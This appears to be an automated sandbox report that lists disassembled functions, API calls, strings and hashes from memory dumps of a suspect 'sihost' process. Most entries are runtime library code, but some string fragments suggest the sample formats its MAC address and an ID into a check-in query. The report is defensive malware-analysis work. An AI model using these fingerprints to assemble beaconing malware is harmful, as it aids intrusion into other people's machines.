GetUserDefaultLocaleName, xrefs: 00D1FDE8
FlushProcessWriteBuffers, xrefs: 00D1FC9E
InitializeCriticalSectionEx, xrefs: 00D1FB54
LCMapStringEx, xrefs: 00D1FE24
SetFileInformationByHandleW, xrefs: 00D1FEA3
CloseThreadpoolWait, xrefs: 00D1FC80
GetLogicalProcessorInformation, xrefs: 00D1FCF8
IsValidLocaleName, xrefs: 00D1FE06
CreateSemaphoreExW, xrefs: 00D1FB90
CreateThreadpoolTimer, xrefs: 00D1FBCC
GetFileInformationByHandleExW, xrefs: 00D1FE7E
FlsSetValue, xrefs: 00D1FB36
WaitForThreadpoolTimerCallbacks, xrefs: 00D1FC08
FlsGetValue, xrefs: 00D1FB18
EnumSystemLocalesEx, xrefs: 00D1FD52
SetThreadStackGuarantee, xrefs: 00D1FBAE
FreeLibraryWhenCallbackReturns, xrefs: 00D1FCC3
FlsFree, xrefs: 00D1FAFA
FlsAlloc, xrefs: 00D1FAE6
CreateThreadpoolWait, xrefs: 00D1FC44
kernel32.dll, xrefs: 00D1FADA
SetDefaultDllDirectories, xrefs: 00D1FD34
SetThreadpoolTimer, xrefs: 00D1FBEA
GetTickCount64, xrefs: 00D1FE60
CloseThreadpoolTimer, xrefs: 00D1FC26
SetThreadpoolWait, xrefs: 00D1FC62
GetDateFormatEx, xrefs: 00D1FD8E
GetCurrentPackageId, xrefs: 00D1FE42
CompareStringEx, xrefs: 00D1FD70

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: AddressProc
String ID: CloseThreadpoolTimer$CloseThreadpoolWait$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$EnumSystemLocalesEx$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetDateFormatEx$GetFileInformationByHandleExW$GetLocaleInfoEx$GetLogicalProcessorInformation$GetTickCount64$GetTimeFormatEx$GetUserDefaultLocaleName$InitializeCriticalSectionEx$IsValidLocaleName$LCMapStringEx$SetDefaultDllDirectories$SetFileInformationByHandleW$SetThreadStackGuarantee$SetThreadpoolTimer$SetThreadpoolWait$WaitForThreadpoolTimerCallbacks$kernel32.dll
API String ID: 190572456-2934716456
Opcode ID: 6443a8a06a788824a24bc8e41e5632881101ce1b9a72978e8e74192a8c5de9a0
Instruction ID: 4c12fb7974afb9f0fa8753e50edb72956a3d6e7af4198cd64813c2c269f2832c
Opcode Fuzzy Hash: 6443a8a06a788824a24bc8e41e5632881101ce1b9a72978e8e74192a8c5de9a0
Instruction Fuzzy Hash: 4CC17C64621B5691FE08DBA1FE9835833A2FB69B89F952427C84E17334DE7CC249C361

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAC53AC Relevance: 18.2, APIs: 12, Instructions: 230COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001D63EAC53CE
_invalid_parameter_noinfo.LIBCMT ref: 000001D63EAC53DA
_errno.LIBCMT ref: 000001D63EAC5404
__tzset.LIBCMT ref: 000001D63EAC5421
_get_daylight.LIBCMT ref: 000001D63EAC542A
_get_daylight.LIBCMT ref: 000001D63EAC543B
_get_daylight.LIBCMT ref: 000001D63EAC544C
_gmtime64_s.LIBCMT ref: 000001D63EAC5477
_isindst.LIBCMT ref: 000001D63EAC5490
_gmtime64_s.LIBCMT ref: 000001D63EAC54AC
_gmtime64_s.LIBCMT ref: 000001D63EAC54CB
_isindst.LIBCMT ref: 000001D63EAC54E0

Memory Dump Source

Source File: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: _get_daylight_gmtime64_s$_errno_isindst$__tzset_invalid_parameter_noinfo
String ID:
API String ID: 1799691067-0
Opcode ID: 40d464d5d2014d7f7c6593cbcb638356b0f2e103e25d46c9d2c0a6536dcac19a
Instruction ID: e542c6860bb54b66e8e3e048991fe76ad98a64c8e436664d6cb16b74ebee3174
Opcode Fuzzy Hash: 40d464d5d2014d7f7c6593cbcb638356b0f2e103e25d46c9d2c0a6536dcac19a
Instruction Fuzzy Hash: 6281C8F2F002859BEF689F35DD517E96295F754788F049226EA0DCA78BEB38C4018750

Uniqueness

Uniqueness Score: -1.00%

Function 00D2BE48 Relevance: 13.9, APIs: 11, Instructions: 167COMMON

Download Yara Rule

APIs

_CxxThrowException.LIBCMT ref: 00D2BE80
_CxxThrowException.LIBCMT ref: 00D2BEAA
_CxxThrowException.LIBCMT ref: 00D2BECA
_CxxThrowException.LIBCMT ref: 00D2BEEA
_CxxThrowException.LIBCMT ref: 00D2BF0A
_CxxThrowException.LIBCMT ref: 00D2BF2A
_CxxThrowException.LIBCMT ref: 00D2BF65
_CxxThrowException.LIBCMT ref: 00D2BF81
_CxxThrowException.LIBCMT ref: 00D2BFA1
_CxxThrowException.LIBCMT ref: 00D2BFC1
_CxxThrowException.LIBCMT ref: 00D2BFE1

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: ExceptionThrow
String ID:
API String ID: 432778473-0
Opcode ID: e7c98a7af23247aadd6deaa49823b204e71a7d65eae90bac5e80cfc65f6ebfb2
Instruction ID: 40656449c18288d2c6c30f8b2d7672d97a4ced08a82c24717dc55cec3e287247
Opcode Fuzzy Hash: e7c98a7af23247aadd6deaa49823b204e71a7d65eae90bac5e80cfc65f6ebfb2
Instruction Fuzzy Hash: 76317666711B40AAD71CFF32B8125BA6367EBA4B80F08D835FE954E609DF74C4918660

Uniqueness

Uniqueness Score: -1.00%

Function 00D1D17C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 126libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00D1D313

Strings

kernel32.dll, xrefs: 00D1D2F7
GetEnabledXStateFeatures, xrefs: 00D1D309

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: AddressProc
String ID: GetEnabledXStateFeatures$kernel32.dll
API String ID: 190572456-4754247
Opcode ID: 964764d84fccf4bf3ff6fbb5a97536382d0ea18e134c55243c75c2d2161a63ac
Instruction ID: 617f9e2066a2ece4b0094e70b911c0f9d9902c64953b0bf883d770465509852b
Opcode Fuzzy Hash: 964764d84fccf4bf3ff6fbb5a97536382d0ea18e134c55243c75c2d2161a63ac
Instruction Fuzzy Hash: F24177722253104AFB68CF69F60139A37E2F395380F48A42ADC5A47795CB7CC5909B24

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAC6188 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 126libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000), ref: 000001D63EAC631F

Strings

GetEnabledXStateFeatures, xrefs: 000001D63EAC6315
kernel32.dll, xrefs: 000001D63EAC6303

Memory Dump Source

Source File: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: AddressProc
String ID: GetEnabledXStateFeatures$kernel32.dll
API String ID: 190572456-4754247
Opcode ID: 831542b0c1729466f3df8b4a0bd114df8894dab253fd22b58ea39b97e8144855
Instruction ID: d9501d20a867cc18ad599ad9501feae17905d283e8a55fd8175b22f46802fe37
Opcode Fuzzy Hash: 831542b0c1729466f3df8b4a0bd114df8894dab253fd22b58ea39b97e8144855
Instruction Fuzzy Hash: 594123F6B18690A6FB29CF25AC4139E76D0F3D5B40F40A22BD90EC6796C638C8118F24

Uniqueness

Uniqueness Score: -1.00%

Function 00D13D50 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6dcd57812a60b13748fc229b44ea60976bbcd3ffd2cb3f83ecb0028924953fae
Instruction ID: 4ea052448d4d055117dfb66f8c04f9427273a9b78645927e32d75f9b1f296026
Opcode Fuzzy Hash: 6dcd57812a60b13748fc229b44ea60976bbcd3ffd2cb3f83ecb0028924953fae
Instruction Fuzzy Hash: E5419B32B147509AE720DBB5E0417AD33B1F7487A8F444224EF5A97B84DE38C9A6C764

Uniqueness

Uniqueness Score: -1.00%

Function 00D542C0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e99cbc94193ba82b757d10b27929b8e31026cb13ad9d88e9ab03c29a88dbef80
Instruction ID: a7520a1844ead5fe2770ce5af8d24d45cece8c8504606de68a08b1181f506865
Opcode Fuzzy Hash: e99cbc94193ba82b757d10b27929b8e31026cb13ad9d88e9ab03c29a88dbef80
Instruction Fuzzy Hash: 9FC012AA14D91185C50DCE4468C87BC563297367D5F64F028448E16488AA59C19C63A0

Uniqueness

Uniqueness Score: -1.00%

Function 00D444BE Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90aba5c0de541f08a48fb946b303a3453eca72712d4464b2d3a2559c222c1fb3
Instruction ID: 8ca203ffa5c5b9e6f4ce936641a2775d3c357053405a699d47bd5948f359ab40
Opcode Fuzzy Hash: 90aba5c0de541f08a48fb946b303a3453eca72712d4464b2d3a2559c222c1fb3
Instruction Fuzzy Hash: BAD09228148A10CADA989B46E5987B563E5F314782FA00016DE8E0BBA0E728C55AB760

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAC19F0 Relevance: 26.3, APIs: 1, Strings: 14, Instructions: 74COMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 000001D63EAC1ACB

Strings

4, xrefs: 000001D63EAC1A90
e, xrefs: 000001D63EAC1A60
i, xrefs: 000001D63EAC1A48
\, xrefs: 000001D63EAC1A98
n, xrefs: 000001D63EAC1A68
4, xrefs: 000001D63EAC1A80
%, xrefs: 000001D63EAC1A88
t, xrefs: 000001D63EAC1A40
s, xrefs: 000001D63EAC1AA0
i, xrefs: 000001D63EAC1A58
%, xrefs: 000001D63EAC1A78
o, xrefs: 000001D63EAC1A70
g, xrefs: 000001D63EAC1A50
\, xrefs: 000001D63EAC1A38

Memory Dump Source

Source File: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: swprintf
String ID: %$%$4$4$\$\$e$g$i$i$n$o$s$t
API String ID: 233258989-1647199743
Opcode ID: f4ad6eb408caf5f26b9a3a6998ac48da48954895ba533747808e41d324b47073
Instruction ID: bda84d6cd5bd7d76deb7e0eb6071eb0357ac1a1e4b84d2776cbd3c853dd5e877
Opcode Fuzzy Hash: f4ad6eb408caf5f26b9a3a6998ac48da48954895ba533747808e41d324b47073
Instruction Fuzzy Hash: 07318FF27196C09AE7548F10E4453DABBA0F794B44F04811AEB894BB9ADB7CD449CF10

Uniqueness

Uniqueness Score: -1.00%

Function 00D15BD0 Relevance: 17.5, APIs: 1, Strings: 9, Instructions: 32COMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 00D15C5D

Part of subcall function 00D1AED8: _vsprintf_s_l.LIBCMT ref: 00D1AEF2

Strings

=%s&, xrefs: 00D15C1D
lmac, xrefs: 00D15C25
=%s&, xrefs: 00D15C2D
%08x, xrefs: 00D15C3D
ge=%, xrefs: 00D15C4D
bmac, xrefs: 00D15C15
&sta, xrefs: 00D15C45
cid=, xrefs: 00D15C35
d%s, xrefs: 00D15C55

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: _vsprintf_s_lswprintf
String ID: %08x$&sta$=%s&$=%s&$bmac$cid=$d%s$ge=%$lmac
API String ID: 4270679898-455425439
Opcode ID: 9212b2551f38a0d0d0aa009feca91072bf02dadafca2f013d0e01e28447fa025
Instruction ID: 6af49f22df2359a84a6466333301a6b7cc607be1dc314e3289bdfcbef91a318c
Opcode Fuzzy Hash: 9212b2551f38a0d0d0aa009feca91072bf02dadafca2f013d0e01e28447fa025
Instruction Fuzzy Hash: 7101F3B66197C0CAC724CF59F08134ABBB0F389744FA05119E79957A18DB3DC1528F14

Uniqueness

Uniqueness Score: -1.00%

Function 00D19C60 Relevance: 14.0, APIs: 1, Strings: 7, Instructions: 33COMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 00D19CE7

Part of subcall function 00D1AED8: _vsprintf_s_l.LIBCMT ref: 00D1AEF2

Strings

%02x, xrefs: 00D19CBA
%02x, xrefs: 00D19C97
x-%0, xrefs: 00D19CA5
-%02, xrefs: 00D19C9E
-%02, xrefs: 00D19CC1
2x-%, xrefs: 00D19CAC
02x-, xrefs: 00D19CB3

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: _vsprintf_s_lswprintf
String ID: %02x$%02x$-%02$-%02$02x-$2x-%$x-%0
API String ID: 4270679898-1851114077
Opcode ID: a419956789dfc16c326af9d763250f937902bc76b236015388d4900e19c3ff7a
Instruction ID: 944a46ca9d4d7c547ba1900dddb213e1db27729bf3374f682f153ed8472ade0a
Opcode Fuzzy Hash: a419956789dfc16c326af9d763250f937902bc76b236015388d4900e19c3ff7a
Instruction Fuzzy Hash: B30188BB21A2D08BC7418F59A41402EBEB0F38AB91F688108FB9507764C33DD621DF69

Uniqueness

Uniqueness Score: -1.00%

Function 00D2AE54 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00D2AE85
_getptd.LIBCMT ref: 00D2AEA7
_CallSETranslator.LIBCMT ref: 00D2AEEE

Part of subcall function 00D2A4BC: _getptd.LIBCMT ref: 00D2A4E3

_GetRangeOfTrysToCheck.LIBCMT ref: 00D2AF3F
CatchIt.LIBCMT ref: 00D2B07E

Strings

MOC, xrefs: 00D2AEB5
RCC, xrefs: 00D2AEBD

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: _getptd$CallCatchCheckRangeTranslatorTrys
String ID: MOC$RCC
API String ID: 814020945-2084237596
Opcode ID: 98a4dc9f5b6e2f94991705bbd9dc1dd654c9aa7ae6dee4a4592bdb6b38d06fc5
Instruction ID: ad595e8587b3640edc0afed12215abfe64f22ed70c1deb26297388568f9fca02
Opcode Fuzzy Hash: 98a4dc9f5b6e2f94991705bbd9dc1dd654c9aa7ae6dee4a4592bdb6b38d06fc5
Instruction Fuzzy Hash: 1551A072204BD086CB20DB19F1807AEB771FB91B8DF494526EB5E43A48DB7CC592CB21

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAD31C8 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 000001D63EAD31F9
_getptd.LIBCMT ref: 000001D63EAD321B
_CallSETranslator.LIBCMT ref: 000001D63EAD3262

Part of subcall function 000001D63EAD2830: _getptd.LIBCMT ref: 000001D63EAD2857

_GetRangeOfTrysToCheck.LIBCMT ref: 000001D63EAD32B3
CatchIt.LIBCMT ref: 000001D63EAD33F2

Strings

RCC, xrefs: 000001D63EAD3231
MOC, xrefs: 000001D63EAD3229

Memory Dump Source

Source File: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: _getptd$CallCatchCheckRangeTranslatorTrys
String ID: MOC$RCC
API String ID: 814020945-2084237596
Opcode ID: dfe86c33318ee3e913652a81ef32c8be11692ba29d5e1a3e9f5e1d0e30890d2f
Instruction ID: 6a0a0bc4430e9a272add27c572f52c3b6cc3e0b125c319a545857f1eb5dd52f5
Opcode Fuzzy Hash: dfe86c33318ee3e913652a81ef32c8be11692ba29d5e1a3e9f5e1d0e30890d2f
Instruction Fuzzy Hash: 9361C4B6604AC0E5DB60CF05E8A07EEB7A0FB84B89F444627DF5E43686DB78D155C720

Uniqueness

Uniqueness Score: -1.00%

Function 00D1CDAC Relevance: 12.1, APIs: 8, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

_fileno.LIBCMT ref: 00D1CDC9

Part of subcall function 00D21804: _errno.LIBCMT ref: 00D2180D
Part of subcall function 00D21804: _invalid_parameter_noinfo.LIBCMT ref: 00D21818

_errno.LIBCMT ref: 00D1CDD9
_errno.LIBCMT ref: 00D1CDF5
_isatty.LIBCMT ref: 00D1CE56
_getbuf.LIBCMT ref: 00D1CE62
_write.LIBCMT ref: 00D1CE95
_lseeki64.LIBCMT ref: 00D1CEE4
_write.LIBCMT ref: 00D1CF0E

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: _errno$_write$_fileno_getbuf_invalid_parameter_noinfo_isatty_lseeki64
String ID:
API String ID: 1181469889-0
Opcode ID: fd00d538680b37fab9e9e696266152b299b4876491c02b19d90a05c46a4b7bea
Instruction ID: a9d35f04a7d3fb9f209c6f12ddcee69fbc92a24a9a8ebc0c7f46c783f7cac93e
Opcode Fuzzy Hash: fd00d538680b37fab9e9e696266152b299b4876491c02b19d90a05c46a4b7bea
Instruction Fuzzy Hash: EA4145726607449ACB189F28F4523AC7761FB94F94F186216EB6947389EF38C8D1C7B0

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAC49EC Relevance: 12.1, APIs: 8, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

_fileno.LIBCMT ref: 000001D63EAC4A09

Part of subcall function 000001D63EAC9898: _errno.LIBCMT ref: 000001D63EAC98A1
Part of subcall function 000001D63EAC9898: _invalid_parameter_noinfo.LIBCMT ref: 000001D63EAC98AC

_errno.LIBCMT ref: 000001D63EAC4A19
_errno.LIBCMT ref: 000001D63EAC4A35
_isatty.LIBCMT ref: 000001D63EAC4A96
_getbuf.LIBCMT ref: 000001D63EAC4AA2
_write.LIBCMT ref: 000001D63EAC4AD5
_lseeki64.LIBCMT ref: 000001D63EAC4B24
_write.LIBCMT ref: 000001D63EAC4B4E

Memory Dump Source

Source File: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: _errno$_write$_fileno_getbuf_invalid_parameter_noinfo_isatty_lseeki64
String ID:
API String ID: 1181469889-0
Opcode ID: d92f3cc3627e3a96962b2bb95095dcebf079c1b5ee1108511034f3677cd79be7
Instruction ID: 0545f31e70b8babd5405d4a7e985b4f60afab79d571ac4f64c598480fcd4c9b5
Opcode Fuzzy Hash: d92f3cc3627e3a96962b2bb95095dcebf079c1b5ee1108511034f3677cd79be7
Instruction Fuzzy Hash: 724190F2B14B9096E7689F28D8413AD77A0F784B94F145316D65E873C7DA34C850C7A8

Uniqueness

Uniqueness Score: -1.00%

Function 00D1BAC4 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 00D1BAD6
_invalid_parameter_noinfo.LIBCMT ref: 00D1BAE1
_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00D1BB29
_errno.LIBCMT ref: 00D1BB38
